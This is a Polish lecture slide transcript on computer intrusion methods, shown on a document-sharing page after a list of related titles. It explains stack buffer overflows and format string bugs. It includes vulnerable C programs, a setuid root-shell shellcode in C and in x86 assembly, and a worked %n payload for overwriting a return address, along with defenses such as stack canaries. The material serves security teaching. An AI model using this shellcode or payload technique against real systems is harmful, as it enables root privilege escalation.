Przepełnienie bufora i łańcuchy formatujace

Podobne dokumenty
Parę słów o przepełnieniu bufora.

Buffer Overflow (art. 2) by h07

Programowanie w asemblerze Aspekty bezpieczeństwa

Programowanie niskopoziomowe

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Tablice, funkcje - wprowadzenie

Błędy łańcuchów formatujących (format string) by h07

Architektura komputerów

002 Opcode Strony projektu:

Przepełnienie bufora

Pliki. Informacje ogólne. Obsługa plików w języku C

Biblioteka standardowa - operacje wejścia/wyjścia

Ćwiczenie nr 6. Poprawne deklaracje takich zmiennych tekstowych mogą wyglądać tak:

Ćwiczenie 3. Konwersja liczb binarnych

Wskaźniki w C. Anna Gogolińska

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy. Laboratorium 2. Karol Tarnowski A-1 p.

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Return-oriented exploiting

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1

Metody Realizacji Języków Programowania

Wstęp. do języka C na procesor (kompilator RC51)

Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.

Wskaźniki. Informatyka

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Zmienne, stałe i operatory

Programowanie Niskopoziomowe

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Wstęp do Programowania, laboratorium 02

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

7 Przygotował: mgr inż. Maciej Lasota

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom).

do instrukcja while(wyrażenie);

Assembler w C++ Syntaksa AT&T oraz Intela

Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1. Kraków 2013

Pliki. Informacje ogólne. Obsługa plików w języku C

Optymalizacja szelkodów w Linuksie

Programowanie Niskopoziomowe

IX. Wskaźniki.(3 godz.)

Najbardziej popularne metody włamań

Laboratorium 6: Ciągi znaków. mgr inż. Leszek Ciopiński dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Programowanie w językach wysokiego poziomu

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Proste typy zmiennych języka C++ *) Zapis 3.4 e-38 jest równoważny zapisowi 3,

Architektura komputerów. Asembler procesorów rodziny x86

Programowanie I C / C++ laboratorium 03 arytmetyka, operatory

Przepełnienie stosu jako metoda eksploatacji systemów operacyjnych.

Metody Realizacji Języków Programowania

KURS C/C++ WYKŁAD 1. Pierwszy program

Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane

Podstawy programowania w języku C++

Wstęp do programowania INP003203L rok akademicki 2016/17 semestr zimowy. Laboratorium 1. Karol Tarnowski A-1 p.

OPERACJE WEJŚCIA / WYJŚCIA. wysyła sformatowane dane do standardowego strumienia wyjściowego (stdout)

Funkcja (podprogram) void

INFORMATYKA Studia Niestacjonarne Elektrotechnika

1. Pierwszy program. Kompilator ignoruje komentarze; zadaniem komentarza jest bowiem wyjaśnienie programu człowiekowi.

Argumenty wywołania programu, operacje na plikach

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40

Program wykonujący operację na plikach powinien zachować schemat działania zapewniający poprawną pracę:

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Informatyka, Ćwiczenie Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu

nowe operatory &. (kropka) * operator rzutowy ->, (przecinek) sizeof

Języki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.

Języki i metodyka programowania. Wprowadzenie do języka C

PROGRAMOWANIE NISKOPOZIOMOWE

WYKŁAD 10. Zmienne o złożonej budowie Statyczne i dynamiczne struktury danych: lista, kolejka, stos, drzewo. Programy: c5_1.c, c5_2, c5_3, c5_4, c5_5

Tablice (jedno i wielowymiarowe), łańcuchy znaków

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak

2 Przygotował: mgr inż. Maciej Lasota

Adam Kotynia, Łukasz Kowalczyk

Wskaźniki do funkcji. Wykład 11. Podstawy programowania ( język C ) Wskaźniki do funkcji (1) Wskaźniki do funkcji (2)

petla:... ; etykieta określa adres w pamięci kodu (docelowe miejsce skoku) DJNZ R7, petla

Programowanie proceduralne INP001210WL rok akademicki 2018/19 semestr letni. Wykład 6. Karol Tarnowski A-1 p.

Tablice, funkcje, wskaźniki - wprowadzenie

Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów

Elementy języka C. ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors.

Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 1. Karol Tarnowski A-1 p.

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

WYKŁAD 8. Funkcje i algorytmy rekurencyjne Proste przykłady. Programy: c3_1.c..., c3_6.c. Tomasz Zieliński

Język C++ zajęcia nr 2

Wstęp do programowania

Wprowadzenie do architektury komputerów systemy liczbowe, operacje arytmetyczne i logiczne

Ghost in the machine

Metody Realizacji Języków Programowania

Architektura systemów komputerowych Laboratorium 7 Symulator SMS32 Stos, Tablice, Procedury

Języki programowania. Przetwarzanie plików amorficznych Konwencja języka C. Część siódma. Autorzy Tomasz Xięski Roman Simiński

Metody włamań do systemów komputerowych p. 1/15

int tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania

Funkcje zawarte w bibliotece < io.h >

Rozpoznawanie obrazu. Teraz opiszemy jak działa robot.

Stałe i zmienne znakowe. Stała znakowa: znak

Programowanie w elektronice: Podstawy C

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

۰ Elementem jednostkowym takiego pliku jest bajt. ۰ Format pliku binarnego: [bajty pliku][eof]

Transkrypt:

Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl Metody włamań do systemów komputerowych p. 1/21

Przepełnienie bufora Wstęp Identyfikacja problemów z przepełnieniem bufora sięga lat 60-tych. Najbardziej znanym przypadkiem jest robak napisany w 1988 r. przez Roberta T. Morrisa, wykorzystujacy program finger. Co 4-ta słabość sygnalizowana na www.securityfocus.com to przepełnienie bufora problem jest aktualny. Metody włamań do systemów komputerowych p. 2/21

Przepełnienie bufora Idea Podczas wywoływania funkcji na stos kładziony jest adres powrotny. Miejsce na zmienne lokalne funkcji rezerwowane jest na stosie. Nieostrożne zapisywanie zmiennych lokalnych może spowodować nadpisanie adresu powrotnego. Metody włamań do systemów komputerowych p. 3/21

Przepełnienie bufora Program ofiara #include <stdio.h> void zrob_cos_z_wejsciem() { char bufor[50]; scanf("%s", bufor); } int main() { zrob_cos_z_wejsciem(); return 0; } Metody włamań do systemów komputerowych p. 4/21

Przepełnienie bufora Możliwości nadużyć Funkcja zrob_cos_z_wejsciem nie kontroluje długości wczytywanego łańcucha znaków. Wprowadzajac zbyt długi łańcuch nadpiszemy adres powrotny z funkcji zrob_cos_z_wejsciem i instrukcja ret spowoduje skok w wybrane przez nas miejsce. Możemy zapisać kod, który chcemy wykonać w łańcuchu znaków przakazanym do programu. Jeśli program ma ustawiony bit suid, to możemy np. uruchomić powłokę z przywilejami roota. Metody włamań do systemów komputerowych p. 5/21

Przepełnienie bufora zrob_cos_z_wejsciem zrob_cos_z_wejsciem: pushl %ebp movl %esp,%ebp subl $72,%esp addl $-8,%esp leal -52(%ebp),%eax pushl %eax pushl $.LC0 call scanf leave ret Metody włamań do systemów komputerowych p. 6/21

Przepełnienie bufora Stos przed wywołaniem scanf ramka zrob_cos_z_wejsciem wskaznik na bufor (2-gi argument scanf) 0xc0000000 3 wierzcholek stosu... 49 bufor 2 1 48 0 adres powrotu z zrob_cos_z_wejsciem wykorzystywane przez zrob_cos_z_wejsciem wskaznik na "%s" (1-szy argument scanf) Metody włamań do systemów komputerowych p. 7/21

Przepełnienie bufora Shellcode (C) #include <unistd.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; setuid(0); execve(name[0], name, &name[1]); return 0; } Metody włamań do systemów komputerowych p. 8/21

Przepełnienie bufora Problemy i rozwiazania (1) Jeżeli dysponujemy atakowanym programem w postaci kodu źródłowego lub w postaci binarnej, to możemy dokładnie określić, które pozycje łańcucha znaków pokryja się z adresem powrotnym. Jak to zrobić, jeśli nie dysponujemy programem? Możemy oceniać długość bufora dla napisu metoda prób i błędów. Powielenie tego, czym chcemy nadpisać adres powrotny zwiększy prawdopodobieństwo trafienia. Metody włamań do systemów komputerowych p. 9/21

Przepełnienie bufora Problemy i rozwiazania (2) Czym nadpisać adres powrotny? Gdzie zostanie umieszczony wprowadzany napis (czyli nasz program)? Na architekturze x86 w systemie Linux stos zaczyna się od adresu 0xc0000000 i rośnie w dół. Możemy to wykorzystać do oszacowania położenia bufora dla napisu. Wypełnienie poczatku napisu instrukcjami nop zwiększy prawdopodobieństwo wykonania przemyconego w napisie kodu. Metody włamań do systemów komputerowych p. 10/21

Przepełnienie bufora Problemy i rozwiazania (3) Kod przemycany w napisie nie może zawierać bajtu 0 (znak \0 oznacza koniec napisu), ani białych znaków (funkcja scanf czyta do napotkania pierwszego białego znaku). Zestaw instrukcji procesorów z rodziny x86 jest stosunkowo bogaty. Rozkazy zawierajace niepożadane znaki można praktycznie zawsze zapisać inaczej. Metody włamań do systemów komputerowych p. 11/21

Przepełnienie bufora Shellcode jmp j c: xorl %ebx, %ebx movl %ebx, %eax addl $0x17, %eax int $0x80 // setuid popl %ebx // adres początku napisu "/bin/sh" xorl %eax, %eax movb %al, 0x7(%ebx) // wstawiamy \0 za "/bin/sh" movl %ebx, 0xe(%ebx) // tablica zawierająca wskaźnik do "/bin/sh" movl %eax, 0x12(%ebx) // i NULL leal 0xe(%ebx), %ecx leal 0x12(%ebx), %edx movb $0x06, %al addb $0x05, %al int $0x80 // execve j: call c.string "/bin/sh" Metody włamań do systemów komputerowych p. 12/21

Przepełnienie bufora Zapobieganie Solar Designer nadanie segmentowi stosu atrybutu niewykonywalności. Stack Guard modyfikacja do gcc. Po wejściu do funkcji na stos odkładamy pewna liczbę, a przed wyjściem sprawdzamy, czy się zmieniła. Warianty: random canary odkładamy losowa liczbę, xor random canary odkładamy wynik operacji xor na losowej liczbie i adresie powrotnym, terminatory odkładamy liczbę złożona ze znaków, które najczęściej przerywaja działanie funkcji kopiujacej (np. 0x000aff0b). Metody włamań do systemów komputerowych p. 13/21

Łańcuchy formatujace Program ofiara #include <stdio.h> void wypisz_wejscie() { char bufor[1000]; scanf("%999s", bufor); printf(bufor); } int main() { wypisz_wejscie(); return 0; } Metody włamań do systemów komputerowych p. 14/21

Łańcuchy formatujace Idea Do funkcji printf przekazywany jest pojedynczy argument. Zinterpretuje ona więc łańcuchy formatujace w nim zawarte (%x, %d, %c,... ). Istnieje łańcuch formatujacy, dzięki któremu można pisać do pamięci procesu %n zapisuje liczbę wypisanych dotychczas bajtów (jako liczbę 32-bitowa) pod wskaźnik przekazany do funkcji printf jako jeden z parametrów. Metody włamań do systemów komputerowych p. 15/21

Łańcuchy formatujace Możliwości nadużyć W napisie możemy przemycić shellcode. Z pomoca łańcucha formatujacego %n można np. nadpisać adres powrotu z funkcji wypisz_wejscie i spowodować skok do shellcode u. Metody włamań do systemów komputerowych p. 16/21

Łańcuchy formatujace Stos podczas wywołania printf ramka wypisz_wejscie wskaznik na bufor (argument printf) ramka printf wierzcholek stosu 0xc0000000 999 3... 998 bufor 2 1 0 adres powrotu z wypisz_wejscie wykorzystywane przez wypisz_wejscie adres powrotu z printf wykorzystywane przez printf Metody włamań do systemów komputerowych p. 17/21

Łańcuchy formatujace Konstrukcja napisu Na poczatku możemy umieścić shellcode (funkcja printf po prostu go wydrukuje to nie jest istotne). Dalej będzie odpowiednio zapisany wskaźnik do adresu powrotu z funkcji wypisz_wejscie. Następnie wstawimy pewna liczbę sekwencji %08x. Będzie ich tyle, żeby dotrzeć do naszego wskaźnika do adresu powrotu. Na końcu umieścimy sekwencję nadpisujac a adres powrotu. Metody włamań do systemów komputerowych p. 18/21

Łańcuchy formatujace Fragment nadpisujacy Chcemy nadpisać liczbę 32-bitowa. Nie możemy wypisywać miliardów bajtów po to, żeby licznik wypisanych znaków wzrósł do pożadanej wartości. Adres powrotu nadpiszemy więc w czterech kawałkach po bajcie. Metody włamań do systemów komputerowych p. 19/21

Łańcuchy formatujace Przykład Załóżmy, że chcemy pod adres 0xbffffa70 zapisać wartość 0xbffff8c4, ponadto do tego momentu funkcja printf wypisała 0x...72 znaki (interesujacy jest najmniej znaczacy bajt). Adres zakodujemy wtedy jako (szesnastkowo): 88888888 70faffbf 88888888 71faffbf 88888888 72faffbf 88888888 73faffbf Fragment nadpisujacy będzie miał postać: %82x%n%52x%n%263x%n%192x%n Metody włamań do systemów komputerowych p. 20/21

Przepełnienie bufora i łańcuchy formatujace Zasoby Literatura [1] www.ngsec.com. Sekcja nggames (zabawa w hakerów). [2] Aleph One. Smashing the stack for fun and profit. Phrack, November 1996. [3] Tomasz Potęga. Shell pilnie potrzebny. Software 2.0, September 2002. [4] Jan K. Rutkowski. Przepełnienie bufora i dziwne łańcuchy formatujace. Software 2.0, September 2001. Metody włamań do systemów komputerowych p. 21/21